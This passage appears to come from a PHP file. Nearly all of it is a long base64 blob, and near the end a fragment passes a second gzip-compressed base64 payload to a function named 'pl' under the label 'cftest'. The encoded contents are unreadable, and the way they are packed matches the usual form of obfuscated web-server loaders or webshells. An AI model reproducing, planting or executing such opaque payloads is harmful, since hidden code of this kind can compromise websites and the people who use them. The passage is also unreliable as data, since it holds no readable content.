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'); $cft=pl('cftest','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